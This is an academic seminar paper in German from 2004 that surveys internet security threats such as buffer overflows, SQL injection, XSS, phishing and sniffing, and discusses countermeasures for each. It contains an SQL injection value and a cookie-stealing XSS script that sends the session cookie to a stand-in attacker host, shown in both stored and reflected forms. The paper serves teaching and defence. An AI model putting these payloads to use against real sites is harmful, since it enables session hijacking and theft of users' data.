Sicherheitsrisiken im Internet

Kurs Rechtsinformatik, WS 2004/2005,
ao. Univ. Prof. DDr. Mag. Erich SCHWEIGHOFER

Lukas Feiler, Leopoldsgasse 16/20, 1020 Wien, Matrikel-Nummer 0201227,
Dezember 2004

Inhaltsverzeichnis

1 Begriffsbestimmungen

Hier wird folgende Definition des Begriffs Sicherheit gewählt: “A computer is secure if you can depend on it and its software to behave as you expect“[1]. Sicherheit kann weiters untergliedert werden in Vertraulichkeit, Verfügbarkeit und Integrität von Daten.
Der Begriff des Risikos wird im Bereich des Risikomanagements als mathematisches Produkt der Höhe des potentiellen Schadens und seiner Eintrittswahrscheinlichkeit definiert. Innerhalb einer Kosten-Nutzen Analyse muss festgestellt werden, ob die Kosten der Risikoverhinderung –bzw. Umwälzung das Risiko in ihrer Höhe übersteigen.
Im Folgenden sollen exemplarische Angriffsszenarien gegen die drei Formen der Sicherheit Vertraulichkeit, Verfügbarkeit und Integrität dargestellt werden. Ebenso sollen entsprechende Gegenmaßnahmen erörtert werden. Das Risiko der jeweiligen Angriffe hängt jedoch stets vom konkreten Einzelfall ab. Denn die Höhe des potentiellen Schadens ist durch, die in einer Organisation vorhandenen Daten und ihrer Wichtigkeit determiniert. Die Eintrittswahrscheinlichkeit hängt neben dem Ausmaß von implementierten Sicherheitsvorkehrungen von Faktoren ab, die einem Angreifer das Computersystem als besonders attraktiv erscheinen lassen, wie dem Bekanntheitsgrad der Organisation, dem Wert der gespeicherten Daten (insbes. Kreditkartendaten), der Bandbreite der Internetanbindung oder der Rechenleistung der Hardware.

2 Angriffe auf die Vertraulichkeit von Daten

Da die Informationssicherheit ihre Wurzeln im militärischen und geheimdienstlichen Bereich hat, wurde dieser Form der Sicherheit traditionell die höchste Beachtung geschenkt.

2.1 Hacking

Hacking wird als unbefugtes Eindringen in ein fremdes Computersystem definiert. Nun folgend sollen einige technische Methoden des Hackings erläutert werden. Auf die Differenzierung zwischen Hacking und Cracking wird dabei verzichtet[2]. Allgemein ist anzumerken, dass die unterschiedlichen, auf einem Computersystem laufenden Programme mit unterschiedlichen Rechten ausgestattet sind. Zugriff auf alle Ressourcen des Systems hat in Unix –und Unix-ähnlichen Betriebssystemen traditionell lediglich der User root[3]. Obwohl unter Windows NT/XP/2000/2003 die Rechte des administrativen Accounts[4] zwar beschränkt werden können, sind diese noch sehr weit gehend. Daher ist der administrative Account stets das primäre Angriffsziel. Ist es nur möglich Schwachstellen in Programmen auszubeuten, die mit eingeschränkten Rechten laufen, dient dies meist nur als Einstiegspunkt in das System, von dem aus versucht wird, durch Ausnutzung weiterer Schwachstellen root-Rechte zu erlangen.

2.1.1 Buffer Overflows

Die meisten Hacks erfolgen durch die Ausnützung eines Buffer Overflows[5]. Eine solche Schwachstelle besteht darin, dass ein Programm Eingabedaten ohne sie auf ihre Länge zu prüfen in den Speicher schreibt und dadurch andere Speicherbereiche überschrieben werden.

---

[1] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O’Reilly, 2003, S. 5
[2] vgl. http://www.bsi-fuer-buerger.de/abzocker/05_03.htm (14.12.2004)
[3] *Frisch*, Unix System Administration, 2. Aufl, O’Reilly, 2000, S. 6ff
[4] *Russel/Crawford/Gerend*, Microsoft Windows 2000 Server Administrator's Companion, Second Edition, Microsoft Press, 2002, S. 236ff
[5] *Peikari/Chuvakin*, Security Warrior, O’Reilly, 2004, S. 161ff; einführend: *Kallnik/Pape/Schröter/Strobel*, Sicherheit: Buffer-Overflows, c’t 23/2001, S. 216

In der Regel führt dies lediglich zum Absturz des Programms (siehe DoS). Sind die Eingabedaten jedoch vom Hacker als für die konkrete Prozessorarchitektur lesbaren Maschinencode gestaltet, kann es zur Ausführung dieses Codes kommen. Handelt es sich bei dem fehlerhaften Programm um ein solches, das einen Dienst im Internet anbietet (z.B. Apache[6] als HTTP Server) und somit die Eingabedaten von entfernten Rechnern aus dem Internet erhält, kann eine allfällige Buffer Overflow Schwachstelle von jedem Rechner im Internet ausgenützt werden. Erschwerend kommt hinzu, dass meist schon nach kurzer Zeit nach Bekanntwerden einer Schwachstelle Exploits[7] im Internet verfügbar sind. Denn die meisten Angreifer besitzen nicht die erforderlichen Fachkenntnisse um die Schwachstelle ausnutzen zu können. Dies wird ihnen erst durch die Verwendung eines Exploits als Einbruchswerkzeug möglich.
Einen umfassenden Schutz vor Buffer Overflows gibt es derzeit nicht, da es noch niemandem gelungen ist, ein Betriebssystem von heute üblichem Umfang in einer Programmiersprache wie Java, die keine Buffer Overflows ermöglicht, zu implementieren. Daher ist das unverzügliche Einspielen von veröffentlichten Patches (Updates die bekannt gewordene Sicherheitslücken schließen) der erste Schritt um eine Mindestmaß an Sicherheit zu erreichen. Darüber hinaus gibt es für die meisten Betriebssysteme Erweiterungen (z.B. Exec Shield[8] für Linux), die einen, wenn nicht umfassenden, doch sehr weitgehenden Schutz vor Buffer Overflows bieten.

2.1.2 Password Guessing Attacks

Eine andere Form des Hackings ist ein Password Guessing Attack. Von einem Server im Internet angebotene Dienste sind oft nur mit einem gültigen Benutzernamen und Passwort möglich. Benutzernamen lassen sich meist leicht erraten (z.B. E-Mail Adresse). Bei Passwörtern gestaltet sich dies schon schwieriger. Bei der möglichen Verwendung aller alphanumerischen Zeichen und Sonderzeichen ergibt sich bei einer Passwortlänge von 8 Zeichen eine Anzahl von ca. 91^8 Möglichkeiten. Das Probieren aller Möglichkeiten wird als Brute Force Attack bezeichnet. Da dies im eben beschriebenen Fall selbst bei 10 Passwörtern pro Sekunde ca. 1.491.161 Jahre dauern würde, wurden andere Angriffsmethoden entwickelt. Dictionary Attacks[9] bestehen im Probieren bestimmter Wörter. So ergibt eine Kombination der Wörterbücher der 10 gebräuchlichsten Sprachen (mit Abwandlungen wie das Voranstellen einer Zahl) eine Menge von ca. 5.000.000 Wörtern. Bei 10 Passwörtern pro Sekunden ergibt dies nur noch ca. 5,8 Tage.
Der einzige wirksame Schutz vor einem Password Guessing Attack ist die Wahl eines guten Passwortes. Ein solches hat eine Mindestlänge von 8 Zeichen und besteht aus Groß- und Kleinbuchstaben, Zahlen und Sonderzeichen.

2.1.3 SQL Injection

SQL Injection[10] ist eine weitere Angriffsform, die sich jedoch primär gegen einen Datenbank-Server richtet. Meist besteht eine Web-Applikation aus zwei Teilen: dem Applikationsserver, der die Geschäftslogik implementiert und dem Datenbankserver, den der Applikationsserver für die Datenspeicherung verwendet. Durch Schwachstellen in der Applikation kann es nun möglich sein, beliebige SQL-Befehle in die Datenbank einzuschleusen. Folgender beispielhafter Code würde es ermöglichen durch die Manipulation des Wertes der Variablen userId Befehle in die Datenbank einzuschleusen: sql="SELECT * FROM orders WHERE f_userid=" + userId. Wird nun userId gleich "0 OR 1=1" gesetzt ergibt sich "SELECT *

[6] http://httpd.apache.org
[7] Werkzeuge zur Automatisierung der Ausnützung einer Sicherheitslücke.
[8] *Tennert*, Mit Exec Shield gegen Buffer Overflow-Attacken, iX 10/2004 S. 112
[9] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O'Reilly, 2003, S. 80
[10] *Peikari/Chuvakin*, Security Warrior, O'Reilly, 2004, S. 374ff

FROM orders WHERE f_userid=0 OR 1=1“ wodurch anstatt nur der Bestellungen eines Benutzers alle Bestellungen ausgegeben würden. Neben der hier dargestellten Variante sind auch Modifikationen bzw. Beschädigungen von Daten und die Umgehung von Authentisierungs- und Autorisationsmechanismen denkbar. Widrigsten Falls ist es durch Stored Procedures wie xp_cmdshell (Microsoft SQL Server) möglich auch Befehle auf Systemebene abzusetzen wodurch das gesamte System kompromittiert werden kann[11]. Maßnahmen gegen SQL Injection bestehen in einer effektiven Qualitätssicherung bei der Entwicklung eigener Applikationen. Müssen jedoch außer Haus entwickelte Applikationen, die meist nur in kompilierter Form vorliegen, eingesetzt werden, hilft nur das schnelle Einspielen von veröffentlichten Patches.

2.1.4 Differenzierungen in der Person des Angreifers

Nicht nur im Bereich der Angriffsmethoden, sondern auch in jenem der Angreifer lässt sich eine Differenzierung vornehmen. Die meisten der erfolgreichen Angriffe werden von innerhalb des Unternehmens von Insidern geführt – diese müssen jedoch auf Grund der Themenstellung außer Betracht bleiben. Bei Angreifern von außen kann in Script Kiddies und „professionellen“ Hacker unterschieden werden. Script Kiddies sind (meist jugendliche) Angreifer, die nur Anwenderkenntnissen besitzen. Auf Grund der hohen Verfügbarkeit und leichten Einsetzbarkeit von Exploits ist es ihnen dennoch mögliche standardisierte Angriffe auszuüben. Wesentlich gefährlicher sind Hacker die es gezielt auf eine bestimmte Organisation abgesehen haben. Denn diese arbeiten idR sehr professionell und in mehreren Angriffsphasen. Zuerst erfolgt eine Reconnaissance[12] Phase, in der versucht wird möglichst viel über die Angriffsziele in Erfahrung zu bringen. Dies erfolgt ua durch Lesen der Website der Organisation, durch Abfrage von DNS und IP-Routing-Informationen, Port-Scanning und OS-Fingerprinting[13] (Bestimmung von Name und Version der Betriebssysteme). Erst danach folgt der eigentliche Angriff.
Abhängig davon, ob das Bedrohungsszenario für eine Organisation den Angriff von professionellen Hacken einschließt, sind uU wesentlich stärkere Abwehrmaßnahmen erforderlich um dasselbe Ausmaß an Sicherheit zu erreichen, das bei einem Bedrohungsszenario ausschließlich durch Script Kiddies bestehen würde.

2.2 Malware: Trojaner, Viren, Würmer und Spyware

Trojaner, Viren, Würmer und Spyware werden oft unter dem Sammelbegriff Malware behandelt. Trojaner sind nützlich anmutende Programme, die jedoch Spyware oder Backdoors (Hintertüren für den Zugriff durch einen Angreifer) mitinstallieren. Viren sind sich selbst (meist über E-Mail) verbreitende Programme. Im Unterschied zu Würmern, die sich vollkommen selbstständig, durch das Ausnützen von Sicherheitslücken wie Buffer Overflows über das Netzwerk verbreiten, erfordert ein Virus immer noch ein gewisses Maß an menschlicher Interaktion (idR Anklicken des E-Mail-Attachments). Daher sind Würmer als weitaus gefährlicher einzustufen. Der Begriff Spyware beschreibt Software, die die Tätigkeiten der, auf dem Computersystem arbeitenden Personen „ausspioniert“. Dies kann z.B. durch Sniffing des Netzwerkverkehrs (siehe unten) oder durch Key-Logging erfolgen. Die Gefährlichkeit des Key-Loggings besteht darin, dass die Verschlüsselung des Netzwerkverkehrs keine Abhilfe darstellt.

---

[11] *Middendorf*, Datenbanken: Sicherheitslecks und wie man sie stopft; iX 11/2003 S. 110
[12] *Peikari/Chuvakin*, Security Warrior, O’Reilly, 2004, S. 212ff; *Northcutt/Zeltser/Winters/Fredrick/Ritchey*, Inside Network Perimeter Security: The Definitive Guide to Firewalls, VPNs, Routers, and Intrusion Detection Systems, New Riders Publishing, 2002, S. 549ff
[13] *Peikari/Chuvakin*, Security Warrior, O’Reilly, 2004, S. 225ff

Ist der Angriff mit Malware einmal erfolgreich, kann z.B. die Festplatte nach Kreditkartendaten und Passwörtern durchsucht werden oder können alle auf dem System befindlichen *.doc und *.xls Dokumente auf einen Server des Virenautors kopiert werden. Zu Angriffen durch Malware auf die Verfügbarkeit und Integrität von Daten siehe jeweils unten.

2.2.1 Gegenmaßnahmen

Die dringlichste Abwehrmaßnahme stellt eine Anti-Virus Software mit täglich aktualisierten Virus-Signaturen dar. Ebenso unentbehrlich ist eine Firewall, insbesondere zum abblocken von Würmern. Darüber hinaus ist eine Sicherheitsschulung der in der Organisation tätigen Personen, insbesondere bezüglich des Nicht-Öffnens von unbekannten Attachments anzuraten.

2.3 HTTP Session Hijacking & Cross Site Scripting (XSS)

Gefahren durch diese Angriffe bestehen primär für Anwender von Web-Applikationen. Das zum Websurfing auf Applikationsebene verwendete Protokoll HTTP[14] bzw. die verschlüsselte Variante HTTPS[15] ist ein zustandsloses Protokoll. Nach Abarbeitung eines Requests beendet der HTTP-Server die TCP-Verbindung[16]. Eine darauf folgende zweite Verbindung desselben Benutzers kann nicht im Kontext der ersten behandelt werden. Da dies bei den meisten Web-Applikationen jedoch erforderlich ist, um sich z.B. nur einmal im Laufe der Benutzung der Applikation anmelden zu müssen, wird dem Benutzer beim ersten Request (oder nach dem erfolgreichen Login) eine Session-ID übergeben, die von nun an bei jedem Request mitzusenden ist. Eine Session-ID verliert ihre Gültigkeit durch manuelles Ausloggen des Benutzers bzw. durch Zeitablauf (idR 30 Minuten). Verschafft sich ein Dritter Kenntnis von dieser Session-ID, kann er die Session übernehmen und mit allen Rechten des zuvor authentisierten Benutzers die Web-Applikation verwenden. Primär ist dadurch, wie bereits erwähnt, der Benutzer gefährdet, da der Angreifer nach erfolgreichem Session Hijacking vollen Zugriff auf die, für den Benutzer in der Applikation gespeicherten Daten - einschließlich allfälliger Kreditkartendaten - hat. Sekundär ist jedoch auch die Web-Applikation selbst einem hohen Risiko ausgesetzt. Denn viele Applikationen implementieren administrative Accounts. Erfolgt das Hijacking einer administrativen Session, kann der Angreifer je nach Umfang der implementierten Funktionalitäten erheblichen Schaden anrichten.
Die Vertraulichkeit einer Session-ID kann auf verschiedenen Wegen angegriffen werden:

2.3.1 Session-ID Brute Force Attacks

Bei Brute Force Angriffen wird durch Probieren möglicher Session-IDs versucht, Zugriff auf eine gültige, aktive Session zu erhalten. Es stellt sich ein ähnliches Problem wie bei einem Brute Force Attack auf Passwörter. Die oft für Web-Applikationen kleinen bis mittleren Umfangs verwendete Skriptsprache PHP generiert beispielsweise Session-IDs von einer Länge von 26 Zeichen, die aus Kleinbuchstaben und Zahlen bestehen. Daraus ergibt sich eine Menge von 36^{26} möglichen Session-IDs. Bei 1000 aktiven (gültigen) Sessions und der Möglichkeit 10 Session-IDs pro Sekunde zu testen würde es dennoch durchschnittlich ca. 10^{29} Jahre dauern um eine gültige Session zu erhalten. Daher werden Brute Force Angriffe nur

[14] HTTP (Hypertext Transfer Protocol) ist spezifiziert in RFC2616.
[15] HTTPS (HTTP über SSL/TLS); HTTP über TLS ist spezifiziert in RFC2818.
[16] Die Verwendung des HTTP Headers Keep-Alive, spezifiziert in RFC2068 Section 19.7.1.1 ermöglicht das „Offenhalten“ der TCP-Verbindung. Meist kann auf Grund von beschränkten Systemressourcen des Servers die Verbindung jedoch nicht länger als 30 Sekunden offen gehalten werden, wodurch die Notwendigkeit von Session-IDs auch in diesem Fall besteht.

angewandt, wenn die Menge der möglichen Session-IDs durch Fehler in der Programmierung wesentlich geringer ist.

2.3.2 Berechung der Session-ID

Die zweite Angriffsvariante besteht im Berechnen der Session-ID. Die Session-ID basiert auf einer von einem Zufallsgenerator generierten Zahl. Ein echter Zufall bzw. eine Zufallszahl ist in der Informatik jedoch schwer zu errechnen[17]. Treten hierbei Fehler auf, kann die errechnete Zahl ihre Zufälligkeit verlieren, wodurch sie und die von ihr abgeleitete Session-ID berechenbar werden.

2.3.3 Auslesen des HTTP Headers Referer

Die dritte Angriffsvariante zur Verletzung der Vertraulichkeit der Session-ID besteht darin, sie direkt vom Benutzer zu erhalten bzw. zu „stehlen". Die einfachste Form besteht im Auslesen des HTTP Headers Referer[18]. Dies ist nur denkbar, wenn die Session-ID in den Query String integriert ist (z.B. http://www.example.com/eshop.php?sessionid= fcpdafplvm47c3iers8fkj8ug4)[19]. Wird die Session-ID als Cookie[20] übergeben, kommt diese Angriffsvariante nicht in Betracht. Der Header Referer wird beim Klicken jedes Links mitgesendet und enthält die URL der zuvor besuchten Seite. Verweist nun ein Link in der Web-Applikation auf die Seite des Angreifers (oder kann dieser einen solchen Link einschleusen bzw. sich der verlinkten Seite bemächtigen), kann der HTTP Header Referer ausgelesen und die Session-ID extrahiert werden. Gegenmaßnahmen gegen diese Form des Angriffs können sowohl der Benutzer, als auch der Entwickler der Web-Applikation treffen. Primär sind die Entwickler in der Pflicht entweder ausschließlich Cookies für die Übergabe der Session-ID einzusetzen oder keine unmittelbaren externen Links zu verwenden. Dies ist möglich durch Verlinkung einer eigenen Seite, die bei Aufruf einen HTTP-Redirect auf den im Query String angegebenen Link durchführt. So findet sich auf microsoft.com kein direkter Link auf google.com sondern nur ein Link auf die Seite http://go.microsoft.com/fwlink?linkid=23818 die wiederum einen HTTP-Redirect, durch Setzen des HTTP Headers Location[21], auf http://www.google.com/microsoft.html durchführt. Benutzer der Web-Applikation können sich vor dem Auslesen des Referer Headers durch den Einsatz eines HTTP Proxy (siehe unten), der besagten Header filtert, schützen.

2.3.4 Cross Site Scripting (XSS)

Eine weitere Möglichkeit der Kompromittierung der Session-ID besteht durch Cross Site Scripting[22] (XSS). Hierbei gelingt es dem Angreifer Client-seitigen Code (z.B. JavaScript) in die Web-Applikation einzuschleusen, der durch Aufruf der Applikation durch den Benutzer in seinem Browser zur Ausführung kommt. Das gefährliche daran ist, dass aus Sicht des Browsers der Code von der Web-Applikation zu kommen scheint und daher über entsprechende Objekte und Methoden Zugriff auf die URL und allfällige Cookies gewährt. Das Einschleusen von Code in eine Web-Applikation ist möglich, wenn die vom Client gesendeten Daten nicht auf ausführbaren Code geprüft werden und es zur Ausgabe dieser Daten auf einer anderen Seite kommt. Ein Beispiel ist die Standardapplikation Gästebuch. Ein Gästebucheintrag der bewirkt, dass Benutzer auf eine Seite des Angreifers umgeleitet werden, die die Session-ID – sei sie in der URL enthalten oder als Cookie gesetzt - auswertet würde etwa so aussehen:

---

[17] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O'Reilly, 2003, S. 522ff
[18] RFC2616 Section 14.36
[19] example.com ist eine reservierte, für Beispiele dienende Second Level Domain (RFC2606, Section 3)
[20] Das Setzen eines Cookies erfolgt durch den HTTP Header Cookie, der in RFC2965 spezifiziert ist.
[21] RFC2616 Section 14.30
[22] *Gundel*, XSS: Cross Site Scripting – Gefahr für Benutzerdaten; iX 8/2004, S. 48

<script language="JavaScript"> document.location.href="http://hacker.example.com/xss.php?url=" + document.location.href + "&" + document.cookie; </script>
Einer zweiten Variante des XSS muss sich der Angreifer bedienen, wenn es ihm nicht möglich ist den eingeschleusten Code in der Web-Applikation permanent zu speichern. Dies kann beispielsweise bei Ergebnisseiten von Suchmaschinen („Die Suche nach dem Begriff X ergab 10 Treffer") oder bei den sehr häufig eingesetzten 404-Fehler[23] Seiten („The following URL was not found on this Server: X") der Fall sein. Vom Browser gesendete Daten werden in diesen Fällen in den zurückgesandten HTML-Code integriert. Folgender Aufruf eines Suchformulars könnte zu einem erfolgreichen XSS führen[24]:
http://www.example.com/search.php?keywords=<script language="JavaScript"> document.location.href="http://hacker.example.com/xss.php?url=" + document.location.href + "&" + document.cookie; </script>
Wird nun auf der Ergebnisseite „Die Suche nach X ergab 0 Treffer" (wobei X für den übergebenen Suchausdruck steht) ausgegeben, interpretiert der Browser den Script-Tag und führt den darin enthaltenen Code aus. Die einzige für den Angreifer noch zu nehmende Hürde ist einen Benutzer zum Klicken eines solchen Links zu bewegen. Denkbar ist hier ein im Design der Web-Applikation gestaltetes HTML E-Mail mit einer gefälschten Absenderadresse, das ein verlinktes Bild beinhaltet, wodurch das Ziel des Links nicht sichtbar ist. Näheres zu E-Mail Spoofing unter Phishing.
Maßnahmen gegen XSS bestehen auf Seite der Web-Applikation in einer guten Qualitätssicherung bei der Programmierung und uU dem Einsatz eines Reverse Proxy (siehe unten) um alle, nicht einer Norm entsprechenden, Requests zu filtern. Anwender können sich nur durch die Deaktivierung alle im Browser laufenden Skriptsprachen schützen. Da dies viele andere Web-Sites nahezu unbenutzbar macht, ist dies nur in Umgebungen mit sehr hohen Sicherheitsanforderungen, zu empfehlen.

Weitere Ansätze zur Kompromittierung der Session-ID stellen Sniffing oder ein Man-in-the-middle Attack dar. Beide Angriffsarten werden unten vor einem allgemeinen Hintergrund behandelt.

2.4 Phishing

Phishing[25] ist eine neue Angriffsvariante auf die Vertraulichkeit persönlicher Daten. Ziel sind meist Kreditkarten- und Kontodaten oder Passwörter für Systeme die eine Disposition über Vermögenswerte der Opfer ermöglichen (z.B. Amazon, eBay, PayPal, CityBank). Der Begriff Phishing wurde von Password Fishing abgeleitet[26]. Die Opfer erhalten E-Mails, die den Eindruck erwecken von einer bestimmten Organisation zu stammen. Die E-Mails enthalten idR einen Link auf eine, der echten Web-Site der Organisation täuschen ähnlich sehenden, Site (sog. Phishing Site), die zur Eingabe der persönlichen Daten auffordert. Wesentlicher Bestandteil des Angriffs ist somit Social Engeneering[27], da das Opfer von der Authentizität überzeugt werden muss. Dabei hilfreich ist E-Mail Spoofing, das Fälschen der Absenderadresse. Das für das Versenden von E-Mails verwendete Protokoll SMTP wurde als

[23] 404 Not Found ist der HTTP Status-Code den ein Server an den Browser sendet, wenn die angeforderte Ressource nicht zur Verfügung steht (spezifiziert in RFC2616, Section 10.4.5)
[24] Die Erörterung einer weitere, für die tatsächliche Ausführbarkeit des Codes erforderlichen, Maßnahme wurde aus Sicherheitsgründen unterlassen.
[25] *Elledge*, Phishing: An Analysis of a Growing Problem, GIAC Security Essentials Certification (GSEC) Practical, Version 1.4b, Option 1, SANS Institute 2004, http://www.sans.org/rr/whitepapers/threats/1417.php (10.12.2004)
[26] http://www.antiphishing.org/word_phish.htm (10.12.2004)
[27] Da Social Engeneering als technologiefremder Angriff in keinem unmittelbaren Zusammenhang mit dem Internet steht, kann es hier, auf Grund der Themenstellung nicht behandelt werden. Ausführlich: *Peikari/Chuvakin*, Security Warrior, O'Reilly, 2004, S. 199ff

„zuverlässig und effizient“ – nicht jedoch als sicher – spezifiziert[28]. SMTP verfügt daher über keine Möglichkeit eine Absenderadresse zu verifizieren. Erforderlich ist lediglich ein SMTP-Server, der beliebige Absenderadressen zulässt („open mail relay“[29]). Darüber hinaus erfolgt die Gestaltung der E-Mail im Design der Web-Site der Organisation. Beispiele für Phishing-Angriffe lassen sich im Phishing Archive[30] der Anti-Phishing Work Group (APWG) finden. Die APWG[31] ist eine Non-Profit Organisation deren Mitglieder die führenden (US-amerikanischen) Banken, ISPs, Technologie-Unternehmen, E-Commerce Provider und Regierungsbehörden der USA, Kanadas, Australiens sowie des Vereinigten Königreichs sind. Die APWG berichtet in ihrem Phishing Activity Trends Report[32] des Monats November, dass das durchschnittliche, monatliche Wachstum der Phishing Sites zwischen den Monaten Juli und November 28% beträgt. Die Erfolgsquote von Phishing-Angriffen liegt laut APWG bei ca. 5%. Die Anzahl von 51 verschiedenen, von den Phishing-Angriffen betroffenen Unternehmen ist leicht ansteigend. In den Monaten Juli bis November bewegte sich die Anzahl der Unternehmen, die Ziel von 80% der Angriffe waren zwischen 4 und 7. Mit über 70% ist der Finanzsektor primäres Ziel der Angriffe. Die Anzahl der Phishing Sites nahm im Oktober im Verglich zu September von 543 auf 1142 um über 100% zu. Im November betrug die Zunahme 29%. Durch Breitband mit dem Internet verbundenen Rechner (meist Heim-PCs) hosten über 50% der Phishing Sites, wobei eine solche durchschnittlich 6,2 Tage online ist. Es wurde auch beobachtet, dass Rechner im Laufe mehrerer Tage unterschiedliche gefälschte Web-Sites hosten. Daraus wird geschlossen, dass Toolkits zur automatischen Einrichtung von Phishing Sites verfügbar sind. Dies setzt ein bot network voraus. Dies ist ein Netz von durch Hacking bzw. Malware übernommenen Computersystemen (sog. „Zombies“), die zentral gesteuert werden können. Das bot network kann neben dem Hosten von Phishing Sites beispielsweise für Distributed Denial of Service Attacks (siehe unten) missbraucht werden. Die strafrechtliche Verfolgung wird dadurch wesentlich erschwert. Die Qualität der Phishing-Angriffe ist im Zunehmen begriffen. Dennoch enthält die URL von 67% der Phishing-Sites keinen Domainnamen sondern eine IP-Adresse. 22% der Phishing-Sites enthalten den Namen der vorgetäuschten Organisation im Domainnamen (z.B. signin-ebay.com-cgi-bin.tk). Die fortgeschrittensten Angriffsvarianten bestehen aus einem E-Mail, das ein HTML-Formular einhält, in das die persönlichen Daten eingegeben werden sollen. Nur in HTML-Code (Attribut „action“ des Tag „form“) ist ersichtlich an welche URL das Formular geschickt wird.
Die Kooperation bzw. Personalunion von Malware-Autoren und Phishern ist ein neues beängstigendes Phänomen. Die meisten Phisher(-Gruppen) sind im Bereich der organisierten Kriminalität[33] einzuordnen.

2.4.1 Gegenmaßnahmen

Hier sollen drei präventive Maßnahmen[34] gegen Phishing Erwähnung finden. Als erste Lösung kommt eine ausschließliche Authentisierung der Benutzer durch sog. Two-Factor

[28] RFC821, Section 1
[29] *Dent*, Postfix: The Definitive Guide, O’Reilly, 2003, S. 127
[30] http://www.antiphishing.org/phishing_archive.htm (17.12.2004)
[31] http://www.antiphishing.org
[32] APWG Phishing Activity Trends Report des Monats November 2004, http://antiphishing.org/APWG%20Phishing%20Activity%20Report%20-%20November%202004.pdf; vgl. den APWG Phishing Activity Trends Report des Monats Oktober 2004, http://www.antiphishing.org/APWG_Phishing_Activity_Report-Oct2004.pdf (jeweils 17.12.2004)
[33] *Hochmuth*, Cyber Attacks Are All About Money: Q&A with FBI's Dave Thomas, Network World, 29. November 2004, http://www.nwfusion.com/supp/2004/cybercrime/112904qanda.html (16.12.2004)
[34] APWG, Proposed Solutions to Address the Threat of Email Spoofing Scams, 12. Dezember 2003 http://www.antiphishing.org/Proposed%20Solutions%20to%20Address%20the%20Threat%20of%20Email%20Spoofing%20Scams%20White%20Paper.pdf (13.12.2004)

Authentication in Betracht. Denn diese Form der Authentisierung erfordert zwei Faktoren: die Smartcard oder einen One-Time-Password Generator („something you have“) und den dazugehörigen PIN-Code („something you know“). Eine solche Lösung ist sehr wirksam jedoch kostenintensiv. Die zweite in Betracht kommende Lösung besteht im Einsatz von Anti-Spam verfahren um das Spoofing von E-Mail-Adressen zu erschweren. Die dritte Lösungsmöglichkeit ist die digitale Signierung aller E-Mails, die von Organisationen versendet werden, die von Phishing-Angriffen bedroht sind. Bestehende Techniken wie S/MIME[35] können hierbei zum Einsatz kommen. Der wesentliche Nachteil der zweiten und dritten Lösungsvariante besteht in der Möglichkeit echt wirkende Absenderadressen (z.B. payments@signin-ebay.com-cgi-bin.tk) erfolgreich verwenden zu können. Das, für Lösungsvariante drei erforderliche Signaturzertifikat, das von einer Certificate Authority (z.B. VeriSign) auszustellen ist erleichtert lediglich die strafrechtliche Verfolgung.
Als reaktive Maßnahme kommt der Einsatz einer Anti-Virus Software in Betracht. Speichert diese (wie bereits üblich) die Signaturen von Phishing-Mails, ist sie in der Lage diese zu blockieren. Darüber hinaus ist die Stärkung des Sicherheitsbewusstseins der Bevölkerung wohl unumgänglich.

2.5 Sniffing

Als Sniffing[36] wird das Mitschneiden des Netzwerkverkehrs bezeichnet. Sniffing ist eine Gefahr für alle unverschlüsselten Protokolle zu denen auf Applikationsebene ua HTTP, FTP[37], SMTP, POP3[38], IMAP[39], NFS[40], SMB[41] und Telnet zählen. Der prädestinierte Einsatzpunkt eines Sniffers ist der Router (oder die Firewall) eines Netzwerkes, da dieser das Netzwerk mit anderen Netzen verbindet und daher der gesamte Netzwerkverkehr diesen passieren muss. Da ein Router bzw. eine Firewall idR sehr hohe Sicherheitsvorkehrungen implementiert und geringe Angriffsfläche bietet, treten im LAN (Local Area Network) häufig andere Szenarien auf. In einem Netzwerk, das als Hardware das veraltete Thin Ethernet (koaxiale Kable mit BNC-Stecker) oder das heute gängige Twisted Pair Ethernet einsetzt „sieht“ jeder Rechner grundsätzlich alle Datenpakete. Im normalen Arbeitsmodus einer Netwerkkarte, ignoriert diese alle Datenpakete, die nicht and ihre Ethernet-Adresse gerichtet sind. Eine Ethernet-Adresse (oder auch MAC-Adresse) besteht aus 48 Bit und dient der

[35] RFCs 3369, 3370, 2633, 2632 und 2631
[36] *Zwicky/Cooper/Chapman*, Building Internet Firewalls, 2ed Edition, O’Reilly, 2000, S. 322ff
[37] FTP (File Transfer Protocol), spezifiziert in RFC959 erfordert grundsätzlich eine Authentisierung mit Username und Passwort. Eine Ausnahme Stellt Anonymous FTP (RFC1635) dar.
[38] POP3 (Post Office Protocol Version 3) wird in RFC1939 spezifiziert und zum Empfangen von E-Mails verwendet. Ein challenge-response Mechanismus, der das Passwort durch Hashing-Verfahren verschlüsseln würde, kann durch den optionalen Befehl APOP (Section 7 des RFC1939) implementiert werden – va Mail-Clients tun dies idR jedoch nicht.
[39] IMAP (Internet Message Access Protocol) wird zum Senden und Empfangen von E-Mails verwendet und erfordert als solches ebenso wie POP3 eine Authentisierung durch Benutzername und Passwort. IMAP ist durch RFC3501 spezifiziert.
[40] NFS (Network File System) ist das am meisten verbreitete Network Filesystem unter Unix und Linux. NFS Version 3, spezifiziert in RFC1813 überträgt im Wesentlichen alle Daten im Klartext und erfordert in üblichen Konfigurationen kein Passwort. NFSv4 wurde in RFC3530 mit einem Schwerpunkt auf erhöhter Sicherheit spezifiziert - insbesondere durch den optionalen Ersatz von RPC durch Secure RPC – wodurch die Verschlüsselung der Kommunikation möglich ist. Näheres in Simson Garfinkel, Gene Spafford, Practical Unix and Internet Security, 3rd Edition, O’Reilly, 2003, S 411ff, 456ff
[41] SMB (Server Message Block) wird von Windows zum Bereitstellen von Datei- und Druckerdiensten verwendet. SMB wurde in CIFS (Common Internet File System) umbenannt. Mit Samba (http://www.samba.org) steht auch eine freie Implementierung für Linux und Unix Systeme zur Verfügung. Passwörter werden grundsätzlich nur verschlüsselt übertragen (eine Ausnahme stellt Windows 95/98 dar). Die Dateien selbst bzw. die Druckaufträge werden jedoch im Klartext transferiert. Die Dokumentation zu CIFS findet sich unter http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cifs/protocol/cifs.asp.

